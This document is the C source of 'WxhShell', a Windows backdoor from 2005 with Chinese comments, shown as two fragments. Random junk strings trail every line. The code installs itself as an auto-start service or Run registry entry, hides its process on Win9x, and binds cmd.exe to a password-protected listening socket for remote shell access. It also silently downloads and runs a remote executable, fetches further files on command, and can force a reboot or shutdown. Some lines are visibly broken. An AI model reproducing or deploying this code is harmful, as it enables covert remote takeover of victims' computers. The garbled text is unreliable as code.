    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S7n"3.k  
    if(Boot(SHUTDOWN)) ;RN8\re  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-1?\bs  
    else { _MYx%Z  
    closesocket(wsh); ;?IT)sNY  
    ExitThread(0); `Y3(~~YGn  
    } }qC SS<a  
    break; Ff"gadRXd  
    } d*;$AYI#R  
  // 获取shell fk5XvL  
  case 's': { A%ywj'|z  
    CmdShell(wsh); VRS 2cc  
    closesocket(wsh); 's@MQ! *  
    ExitThread(0); 9 Aivf+  
    break; "dN < i  
  } !Qu PG/=X  
  // 退出 `?o=*OS7Y  
  case 'x': { H`<?<ak6'M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 73DlRt *  
    CloseIt(wsh); E`p'L!z  
    break; f =_^>>.  
    } a&/HSf_G  
  // 离开 t]m!ee8*X<  
  case 'q': { 02 f9 wV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TGWdyIk  
    closesocket(wsh); 85>S"%_  
    WSACleanup(); p$!@I  
    exit(1); B.-A $/  
    break; 2mJ:c  
        } c%<2z  
  } mf*Nr0L;J  
  } R40W'N 1%q  
0#|7U_n  
  // 提示信息 ^!>.97*   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (5Ky6b9v  
} r7X D&Y  
  } 3sC: jIp  
[V< 1_zqt  
  return; 5~\Kj#PBx  
} N+>'J23d!  
,OBQv.D3>a  
// shell模块句柄 t* z'c  
int CmdShell(SOCKET sock) f4]&pcK  
{ U6i~A9;  
STARTUPINFO si; +G!v!(Ob+  
ZeroMemory(&si,sizeof(si)); &,uC9$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J'7 y   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +>E5X4JC  
PROCESS_INFORMATION ProcessInfo; q0|Z oP  
char cmdline[]="cmd"; PHkDb/HIx|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Y`zg`  
  return 0; A c:\c7M;  
} *98Ti|  
di_gWE  
// 自身启动模式 @aB9%An1  
int StartFromService(void) }=pOiILvD  
{ QV)}3pW  
typedef struct Gm@iV,F%R  
{ T{ nQjYb?  
  DWORD ExitStatus; wG:$6  
  DWORD PebBaseAddress; T#e4": A&x  
  DWORD AffinityMask; q}Rlo/R  
  DWORD BasePriority; ~|=rwDBZ8l  
  ULONG UniqueProcessId; R"Y?iZed3  
  ULONG InheritedFromUniqueProcessId; jlRS:$|R0  
}   PROCESS_BASIC_INFORMATION; a#R %8)  
)_pt*xo  
PROCNTQSIP NtQueryInformationProcess; x(yX0 ,P/7  
B? TpBd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G"fdu(.@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W%zmD Hk~  
qj;l,Kua  
  HANDLE             hProcess; {3 SdX  
  PROCESS_BASIC_INFORMATION pbi; 4^MSX+zt  
^^Bm$9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Uf[T_  
  if(NULL == hInst ) return 0; F(G<* lA  
3#<'[TF00t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y"Ihr5S\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~GYpa t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G* Ib^;$u  
|)';CBb  
  if (!NtQueryInformationProcess) return 0; 4d6% t2  
;:^ Lv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1bDJ}M~]z  
  if(!hProcess) return 0; wV %8v\  
V4oak!}?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d.b?! kn  
6o9sR)c ?  
  CloseHandle(hProcess); XL?A w  
Ahd\TH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x{QBMe`  
if(hProcess==NULL) return 0; IE@ z@+\(  
G#g{3}dcK  
HMODULE hMod; rkP4<E-M  
char procName[255]; ]#M/$?!]g2  
unsigned long cbNeeded; ylT6h_z1[Y  
mj,qQ=n;p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wC(XRqlE  
0JrK/Ma3  
  CloseHandle(hProcess); AAdD\ %JZ  
_p$"NNFN  
if(strstr(procName,"services")) return 1; // 以服务启动 HcDyD0;L.  
U !.~XT=  
  return 0; // 注册表启动 0~:e SWz=  
} M@5KoMsB9  
+0dQORo  
// 主模块 9DY|Sa]#=  
int StartWxhshell(LPSTR lpCmdLine) D'85VZEFyo  
{ oFwG+W /  
  SOCKET wsl; widI s[ )  
BOOL val=TRUE; nxf {PbHk  
  int port=0; ;4R =eI  
  struct sockaddr_in door; HUD7{6}4  
mC% %)F'Zf  
  if(wscfg.ws_autoins) Install(); T&mbXMN  
e%'z=%(  
port=atoi(lpCmdLine); vx PDC~3;  
#?A]v>I;C  
if(port<=0) port=wscfg.ws_port; CF,8f$:2  
#%:`p9p.S  
  WSADATA data; ?L8&(&1@VD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zL6 \p)y  
y`\mQ48V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kf}F}Ad:%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u~ Vs wXc4  
  door.sin_family = AF_INET; X9DM ^tt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?'TA!MR  
  door.sin_port = htons(port); XTIu(f|d_;  
J& n ^y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9$:QLE+t  
closesocket(wsl); -MQZiq7H4  
return 1; B-B?Ff>  
} g"TPII$  
8x!+tw7  
  if(listen(wsl,2) == INVALID_SOCKET) { :~WPY9i`  
closesocket(wsl); ],H1  
return 1; NW }>pb9  
} #>MO]  
  Wxhshell(wsl); h85 (N  
  WSACleanup(); FLi(#9  
o(?VX`2"  
return 0; 782[yLyv  
s$js5 ou  
} k, $I59  
4!NfQk>X  
// 以NT服务方式启动 gcQ.  YP9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $'WapxF  
{ r'Hy}HWuF  
DWORD   status = 0; m OwWg  
  DWORD   specificError = 0xfffffff; j` [#Ij  
/UEV8 1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BUcaj.S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h9tB''ePE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Qm;g-)f  
  serviceStatus.dwWin32ExitCode     = 0; ~ >&I^4  
  serviceStatus.dwServiceSpecificExitCode = 0; E.?E~}z  
  serviceStatus.dwCheckPoint       = 0; \f8P`oET~  
  serviceStatus.dwWaitHint       = 0; SJ1w1^#Pz  
DBqg_v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N*_/@qM> a  
  if (hServiceStatusHandle==0) return; z Y$X|= f  
"3U{h]  
status = GetLastError(); j;ff } b  
  if (status!=NO_ERROR) ,\\%EZ%a  
{ 'd|Q4RE+W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [0mFy) 6  
    serviceStatus.dwCheckPoint       = 0; ;zfQ3$@9  
    serviceStatus.dwWaitHint       = 0; < fojX\}3  
    serviceStatus.dwWin32ExitCode     = status; 2LhfXBWf  
    serviceStatus.dwServiceSpecificExitCode = specificError; pDLu+ }@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c n\k`8  
    return; f_Wkg)g  
  } +YGw4{\EL  
_A@fP[C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { r< (t#  
  serviceStatus.dwCheckPoint       = 0; W\ 1bE(AwZ  
  serviceStatus.dwWaitHint       = 0; o<C]+Nt,@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |_hioMVz  
}  ~ LJ>WA  
lpM>}0v   
// 处理NT服务事件,比如:启动、停止 w^:V."}-$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?.rH;:9To  
{ \Owful  
switch(fdwControl) QN{}R;s  
{ rX|y/0)F  
case SERVICE_CONTROL_STOP: Q1O_CC}  
  serviceStatus.dwWin32ExitCode = 0; 2uJNc!&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iylBK!ou  
  serviceStatus.dwCheckPoint   = 0; kT Z?+hx  
  serviceStatus.dwWaitHint     = 0; jc%{a*n"vr  
  { :Y}Y&mA4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dy2_@/T7  
  } pmow[e  
  return; + d+hvwEM  
case SERVICE_CONTROL_PAUSE: 5 WN`8?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; . Ce&9l  
  break; Yj^avO=;  
case SERVICE_CONTROL_CONTINUE: 1sIy*z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QK``tWLIg7  
  break; L5-T6CD  
case SERVICE_CONTROL_INTERROGATE: $'J6#Vs  
  break; hJC p0F9O  
}; L&!g33J&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xh7~MU~X  
} YJ$Vn >6Z  
+WU|sAK"  
// 标准应用程序主函数 IF36K^K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [5Y$L  
{ 8osS OOzM  
A;kw}!  
// 获取操作系统版本 >m2<Nl}  
OsIsNt=GetOsVer(); xzMeKC `  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D^N#E>,  
BST7y4R)BS  
  // 从命令行安装 Q}=W>|aE.  
  if(strpbrk(lpCmdLine,"iI")) Install(); lJGqR0:r+  
azR;*j8Q'  
  // 下载执行文件 QKUBh-QFK  
if(wscfg.ws_downexe) { 6 h0U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9rpg10/T  
  WinExec(wscfg.ws_filenam,SW_HIDE); He0N  
} `\RX~ $^  
nyl8=F:V  
if(!OsIsNt) { 3gPD(r1g  
// 如果时win9x,隐藏进程并且设置为注册表启动 $p}~,Kp/  
HideProc(); $$bTd3N+  
StartWxhshell(lpCmdLine); %X0NHta ~@  
} l~Ie#vak  
else 9A* ?E  
  if(StartFromService()) <.AC=4@V  
  // 以服务方式启动 YjX!q]56  
  StartServiceCtrlDispatcher(DispatchTable);  ^ :  
else [U3D`V$xD  
  // 普通方式启动 -hU>1ux&V  
  StartWxhshell(lpCmdLine); {l*&l2  
?sjZ13 SUa  
return 0; :cmI"Bo  
} wEHAkc)Q  
UgD'Bi  
['}^;Y?*o  
qUoMg%Z%l  
=========================================== V&4:nIS>z  
Ddm76LS  
8~[C'+r  
uJ)=+Exii  
f9 l<$l  
o {Xw Li  
" |peMr#  
z[|PsC3i:  
#include <stdio.h> |0%4G k);  
#include <string.h> $!l2=^\3  
#include <windows.h> <igx[2X  
#include <winsock2.h> fw:^Lyn9$  
#include <winsvc.h> \@}$Wjsl  
#include <urlmon.h> O)RzNfI^`N  
JV?RgFy  
#pragma comment (lib, "Ws2_32.lib") @aiLG wh  
#pragma comment (lib, "urlmon.lib") rs 1*H  
\9|]  
#define MAX_USER   100 // 最大客户端连接数 {Hp}F!X$  
#define BUF_SOCK   200 // sock buffer NBg>i7KQ  
#define KEY_BUFF   255 // 输入 buffer -t~B@%  
![P(B0Ct/  
#define REBOOT     0   // 重启 ~0^,L3M  
#define SHUTDOWN   1   // 关机 LA=>g/+i.X  
|IcxegE  
#define DEF_PORT   5000 // 监听端口 ev: !,}]w  
,~j$rs`Z  
#define REG_LEN     16   // 注册表键长度 Q~w G(0'8  
#define SVC_LEN     80   // NT服务名长度 1$!RKqT  
#Z=)=  
// 从dll定义API VG'(   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >NOYa3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hRy }G'0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'd.@4 9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (E1>}  
Q@ )rw0$  
// wxhshell配置信息 -g[*wN8  
struct WSCFG { )[M<72  
  int ws_port;         // 监听端口 *liPJ29C[  
  char ws_passstr[REG_LEN]; // 口令 0h@%q;g  
  int ws_autoins;       // 安装标记, 1=yes 0=no oCdOC5  
  char ws_regname[REG_LEN]; // 注册表键名 _ !^FW%  
  char ws_svcname[REG_LEN]; // 服务名 DCt:EhC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  > ^v8N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n8OdRv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w)m0Z4*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9-E>n)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UQf>5g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QV H'06 "{  
@`y?\fWh  
}; gJ GBD9wC  
nog\,NT  
// default Wxhshell configuration i{FC1tVeL_  
struct WSCFG wscfg={DEF_PORT, 9hs{uxwuEE  
    "xuhuanlingzhe", zs&`:  
    1, hv:Z%D |S  
    "Wxhshell", dzv,)X  
    "Wxhshell", ~"r wP=<}  
            "WxhShell Service",  ISnS;  
    "Wrsky Windows CmdShell Service", x&fCe{5  
    "Please Input Your Password: ", vYt:}$AE  
  1, 9c;lTl^4;  
  "http://www.wrsky.com/wxhshell.exe", {5tEsv  
  "Wxhshell.exe" vS t=Ax3]  
    }; $9i5<16  
XX[Wwt  
// 消息定义模块 WJSHLy<a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sV'.Bomq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ' bw,K*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wY ;8UN  
char *msg_ws_ext="\n\rExit."; *T2&$W|_a  
char *msg_ws_end="\n\rQuit."; yg[;  
char *msg_ws_boot="\n\rReboot..."; +@)$l+kk9  
char *msg_ws_poff="\n\rShutdown..."; yzNX2u1  
char *msg_ws_down="\n\rSave to "; ]ifHA# z`~  
D_ZBx+/_?  
char *msg_ws_err="\n\rErr!"; S,tVOxs^  
char *msg_ws_ok="\n\rOK!"; _}D?+x,C8  
Dw ;vDK  
char ExeFile[MAX_PATH]; oplA'Jgnv  
int nUser = 0; 4p.{G%h  
HANDLE handles[MAX_USER]; zT-"kK  
int OsIsNt; Okg8Ve2  
Y 6Qb_X:  
SERVICE_STATUS       serviceStatus; Isgk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *pC -`k  
Q|<?$.FN"8  
// 函数声明 VaI P  
int Install(void); g~H? l3v  
int Uninstall(void); O/^w! :z'  
int DownloadFile(char *sURL, SOCKET wsh); dDn4nwH  
int Boot(int flag); PRlo"kN  
void HideProc(void); 8v=47G  
int GetOsVer(void); IC-xCzR  
int Wxhshell(SOCKET wsl); y{?jr$js<  
void TalkWithClient(void *cs); OK J%M]<  
int CmdShell(SOCKET sock); JHZo:Ad -&  
int StartFromService(void); :=7'1H  
int StartWxhshell(LPSTR lpCmdLine); x7 1!r  
Xsn- +e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _]ttKT(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P~ZV:Of  
~kJpBt7M  
// 数据结构和表定义 wXZY5-h4  
SERVICE_TABLE_ENTRY DispatchTable[] = KC-aLq/  
{ nJ#@W b@  
{wscfg.ws_svcname, NTServiceMain}, E0Y/N?  
{NULL, NULL} 9la~3L_g  
}; yaXa8v'oC  
# +]! u%n  
// 自我安装 8=o(nFJw  
int Install(void) +2 o|#`)i  
{ h>%JG'DV  
  char svExeFile[MAX_PATH]; # %y{mn  
  HKEY key; x,c68Q)g  
  strcpy(svExeFile,ExeFile); `6sQlCOnF  
%R"/`N9R,  
// 如果是win9x系统,修改注册表设为自启动 yaYt/?|  
if(!OsIsNt) { zwrZ ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v 4b`19}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a4.: i  
  RegCloseKey(key); KdpJ[[Ug/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZL@DD(S-/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ g(#)f  
  RegCloseKey(key); eRy'N|'  
  return 0; GWZXRUc  
    } t8N9/DZ}Q  
  } 1p<?S}zg@  
} :tG".z  
else { K y2xWd8  
wXGFq3`  
// 如果是NT以上系统,安装为系统服务 |M>k &p,B-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4H? Ma|,  
if (schSCManager!=0) xa0%;nFKe  
{ TXl9c 6  
  SC_HANDLE schService = CreateService c]R![sa  
  ( g uWqHVSs  
  schSCManager, SfFR  
  wscfg.ws_svcname, F^G`Jf  
  wscfg.ws_svcdisp, DmPsltpzQ  
  SERVICE_ALL_ACCESS, 64X#:t+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c qyh#uWe  
  SERVICE_AUTO_START, [ =2In;  
  SERVICE_ERROR_NORMAL, 7Ej#7\TB]  
  svExeFile, {$:13AnK   
  NULL, "FIx^  
  NULL,  Ph{+uI  
  NULL, $rYu4^  
  NULL, m8^2k2  
  NULL ',j-n$Z^=  
  ); BD#;3?|  
  if (schService!=0) d$~b`  
  { OBSJbDqT  
  CloseServiceHandle(schService); 6yM dl~.  
  CloseServiceHandle(schSCManager); EoCwS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }B/xQsTx-  
  strcat(svExeFile,wscfg.ws_svcname); {*$J&{6V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \^LR5S&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {/!Gh\i  
  RegCloseKey(key); vkgL"([_  
  return 0; Q^w]Nj(e_  
    } pdiZ"pe  
  } K3D $ hb  
  CloseServiceHandle(schSCManager); '+zsj0!A  
} ahv=HWX k  
} oA@^N4PD  
mXaUWgO  
return 1; i~L7h=__  
} 'Jr*oru  
!|c5@0Wr  
// 自我卸载 2wsZ&y%  
int Uninstall(void) (UXB#I~  
{ {~h\;>  
  HKEY key; W)hby`k  
Sd6^%YB  
if(!OsIsNt) { [KJL%u|8/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :C6r N}_k  
  RegDeleteValue(key,wscfg.ws_regname);  Z5-'|h$|  
  RegCloseKey(key); t O>qd#I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xyz86r ^u  
  RegDeleteValue(key,wscfg.ws_regname); v72 dE  
  RegCloseKey(key); 7Z3qaXPH  
  return 0; :|3 C-+[  
  } c?",kzo  
} }TvAjLIS6  
} QLG,r^  
else { hDMp^^$  
Ft !~w#&-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 59 Y=VS  
if (schSCManager!=0) ;gV8f{X{Z  
{ 9E?>B3t^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ y",Qq?  
  if (schService!=0) oP 0j>i,"&  
  { )~(_[='  
  if(DeleteService(schService)!=0) { # t Ki6u  
  CloseServiceHandle(schService); ,_zt? o\  
  CloseServiceHandle(schSCManager); Mv =;+?z!  
  return 0; \s'6)_  
  } ?0Zw ^a  
  CloseServiceHandle(schService); _ 0E,@[  
  } Bx >@HU  
  CloseServiceHandle(schSCManager); Z Uv_u6aD  
} 6^Vf 5W{  
} M-|2W~YU  
t%@ pyK  
return 1; ek!N eu>  
} nQ~L.V  
>,vuC4v-  
// 从指定url下载文件 kzXW<V9  
int DownloadFile(char *sURL, SOCKET wsh) R FiR)G ,  
{ |-D.  
  HRESULT hr; N2J!7uoQ  
char seps[]= "/"; =x>k:l~s  
char *token; a@J :*W  
char *file; 5GkM7Zu!{j  
char myURL[MAX_PATH]; kGP?Jx\PkH  
char myFILE[MAX_PATH]; 6suc:rp";  
7Y:s6R|  
strcpy(myURL,sURL); N>Y3[G+  
  token=strtok(myURL,seps); iwJgU b  
  while(token!=NULL) ^)~M,rW8c  
  { v^ G5 N)F  
    file=token; ?VsZo6Z"  
  token=strtok(NULL,seps); +%v4Ci"%y  
  } ;7>--_?=  
S(l^TF  
GetCurrentDirectory(MAX_PATH,myFILE); WcFZRy-erc  
strcat(myFILE, "\\"); ! +7ve[z  
strcat(myFILE, file); 0=&]!WRT  
  send(wsh,myFILE,strlen(myFILE),0); l/LUwDI{  
send(wsh,"...",3,0); H#E0S>Jw|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Nl _Jp:8s  
  if(hr==S_OK) lc7]=,qyF  
return 0; qa0Zgn5q  
else H l@rS  
return 1; b}*hodzF  
nE84W$\  
} LlJvuQ 28  
?M2@[w8_  
// 系统电源模块 U"]i.J1  
int Boot(int flag) [-ecKPx  
{ ]\lw^.%  
  HANDLE hToken; E?uv&evPK7  
  TOKEN_PRIVILEGES tkp; CjGI}t  
A )cb  
  if(OsIsNt) { HZ3<}`P_W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i1C'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Be;Zw.|  
    tkp.PrivilegeCount = 1; \Y$NGB=2[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ):@B1 yR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); psVRdluS   
if(flag==REBOOT) { 1rC'sfz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 76/%Py|  
  return 0; , +^db)  
} x!+ a,+G  
else { (x@"Dp=MZW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =[&Jxy>Y  
  return 0; </QSMs  
} .9ne'Ta  
  } *#_jTwQe  
  else { S0`*  
if(flag==REBOOT) { MNzq}(p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ",m5}mk:4  
  return 0; xT/&'$@{)  
} W+E2({  
else { &AVi4zV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qz&)|~,\C  
  return 0; 0% /M& N  
} "oQ@.]-#  
} ZSNg^)cN  
Z"jo xZ  
return 1; N.?Wev{  
} ~nQb;Bdh%  
ra1hdf0"  
// win9x进程隐藏模块 W=*\4B]  
void HideProc(void) ^BZdR<;  
{ sMx\WTyz  
q,GL#L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )r~Oj3TH  
  if ( hKernel != NULL ) OsXQWSkj~  
  { >/*\x g&J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <#UvLll  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `t -3(>P  
    FreeLibrary(hKernel); h| Ih4  
  } Sa0\9 3oa  
~U|te_l  
return; >Vvc55z  
} Evc 9k  
&}r932  
// 获取操作系统版本 KB^IGF  
int GetOsVer(void) 5eYCnc9  
{ 1^COR+>L  
  OSVERSIONINFO winfo; ?=l(29tH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); So:89T  
  GetVersionEx(&winfo); };*5+XY^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ":Q^/;D}U  
  return 1; <bH>\@p7}  
  else Z& %61jGK  
  return 0; waC%o%fD  
} VYBl0!t  
cmTZ))m  
// 客户端句柄模块 epnDvz\   
int Wxhshell(SOCKET wsl) O  tr@jgw  
{ ]q j%6tz  
  SOCKET wsh; L2$%h1  
  struct sockaddr_in client; e|I5Nx2)  
  DWORD myID; ,RZktWW_  
R?W8l5CIk  
  while(nUser<MAX_USER) j{vzCRa>8  
{ MI/1uw  
  int nSize=sizeof(client); ]mp.KvB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); __QT lj  
  if(wsh==INVALID_SOCKET) return 1; y!#1A?|k  
Umqm5*P(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [;(| ^0  
if(handles[nUser]==0) `{ /tx!  
  closesocket(wsh); y& )z\8  
else >g?,BK@  
  nUser++; u1uY*p  
  } K"pfp !Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1#'wR3[+  
Xf0pQ]8\  
  return 0; 4&\m!s  
} @*oi1_q  
TzOf&cs/r  
// 关闭 socket tFGLqR%/  
void CloseIt(SOCKET wsh) "Xm'(c(  
{ N5_v}<CN  
closesocket(wsh); h3:k$`_  
nUser--; D526X0  
ExitThread(0); yS?1JWUC>  
} u*M*Wp Y  
sJ,zB[e8  
// 客户端请求句柄 h41v}5!-  
void TalkWithClient(void *cs) hi37p1t   
{ cIgF]My*D@  
1G\ugLm  
  SOCKET wsh=(SOCKET)cs; yY1&h op  
  char pwd[SVC_LEN]; =Ru i  
  char cmd[KEY_BUFF]; M! s&<Bi  
char chr[1]; =$m|M m[a  
int i,j; I=1tf;Bsi  
AOTI&v  
  while (nUser < MAX_USER) { Ei#"r\q j_  
8Hhe&B  
if(wscfg.ws_passstr) { e0D;]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NmeTp?)m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A >x{\  
  //ZeroMemory(pwd,KEY_BUFF); }, ]W/  
      i=0; AIE)q]'Q  
  while(i<SVC_LEN) { QoqdPk#1  
k8h$#@^  
  // 设置超时 pd|c7D!6U,  
  fd_set FdRead; "^u|vCqw  
  struct timeval TimeOut; '?-GZ0oM  
  FD_ZERO(&FdRead); UZ<!(g.  
  FD_SET(wsh,&FdRead); !_]WUQvV?  
  TimeOut.tv_sec=8; 5L4~7/kj  
  TimeOut.tv_usec=0; 6rRPqO j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jtZ@`io  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5!?><{k=%  
6Up,B=sX0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w_9:gprf  
  pwd=chr[0]; 5SDHZ?h  
  if(chr[0]==0xd || chr[0]==0xa) { tUt l>>6Iu  
  pwd=0; u~G,=n  
  break; ZJ!/49c*>  
  } ^UJO(   
  i++; r:u5+A  
    } JK_sl>v.7  
bJ9>,,D  
  // 如果是非法用户,关闭 socket gP<l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7)[4|I  
} /P,J);Y  
)2\6 Fy0S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nmp1[/{J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L7 qim.J  
2TY|)ltsF  
while(1) { pnDD9u-4;  
is`le}$^y  
  ZeroMemory(cmd,KEY_BUFF); #Ey!?Z  
Xa+ u>1"2"  
      // 自动支持客户端 telnet标准   ?/NxZ\  
  j=0; J,k9?nkY /  
  while(j<KEY_BUFF) { d&t |Y:,8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *YYm;J'  
  cmd[j]=chr[0]; Vhv<w O Ct  
  if(chr[0]==0xa || chr[0]==0xd) { ><5tnBP|+L  
  cmd[j]=0; H$WuT;cTE  
  break; %J7 ;b<}To  
  } 'Aai.PE:  
  j++; +ImPNwrY  
    } f0}+8JW5h  
<SOC  
  // 下载文件 %6HDLG6@^}  
  if(strstr(cmd,"http://")) { sTU`@}}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f)~urGazS  
  if(DownloadFile(cmd,wsh)) gyondcF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A90o X1l  
  else &+u) +<&;(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yw vX SA  
  } m\)z& hv<r  
